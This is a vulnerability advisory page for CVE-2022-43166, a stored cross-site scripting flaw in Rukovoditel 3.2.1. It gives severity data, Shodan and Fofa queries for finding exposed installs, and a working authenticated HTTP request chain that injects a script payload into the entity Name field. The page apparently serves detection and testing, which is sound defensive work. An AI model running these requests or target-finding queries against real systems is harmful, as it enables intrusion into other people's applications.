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CVE-2022-43166: Rukovoditel <= 3.2.1 - Cross Site Scripting

Title	Rukovoditel <= 3.2.1 - Cross Site Scripting
Author	r3Y3r53
Severity	Medium
Impact	Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
Remediation	Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
CVSS Score	5.4
EPSS Score	0.06353
CVE ID	CVE-2022-43166
CWE ID	CWE-79
Shodan Query	http.favicon.hash:-1499940355
Fofa Query	icon_hash=-1499940355
Tags	cve cve2022 rukovoditel stored-xss xss authenticated vuln

🔍 Vulnerability Description

A stored cross-site scripting (XSS) vulnerability in the Global Entities feature (/index.php?module=entities/entities) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking “Add New Entity”.

🌐 HTTP Request

GET /index.php?module=users/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

POST /index.php?module=users/login&action=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.4 Safari/537.36
Connection: close
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

form_session_token=ClRsuJ&username=8jzdKq&password=5ekj3B

POST /index.php?module=entities/&action=save&token=ClRsuJ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 114
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

form_session_token=ClRsuJ&group_id=&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0&notes=

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-43166.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-43166.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A